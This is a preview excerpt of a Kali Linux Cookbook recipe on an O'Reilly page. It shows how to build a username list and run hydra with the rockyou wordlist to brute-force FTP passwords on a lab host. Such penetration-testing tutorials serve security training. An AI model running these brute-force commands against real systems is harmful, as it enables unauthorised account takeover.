O'Reilly logo

Kali Linux Cookbook - Second Edition by Bob Perciaccante, Corey P. Schultz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

You have a userlist

In this recipe we will used a defined list of actual or potential usernames that exist on the server:

  1. Open a terminal window in Kali by clicking the icon. 
  2. We will use a hydra to hunt for passwords using a wordlist along with a predefined set of usernames. Let's build our name list:
cd touch usernames echo 'penny' >> usernames echo 'leonard' >> usernames echo 'raj' >> usernames 
  1. Now let's run hydra using our username list and wordlist. You will notice that this does take some time but ultimately you will get the passwords:
hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/
Hydra output screen ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required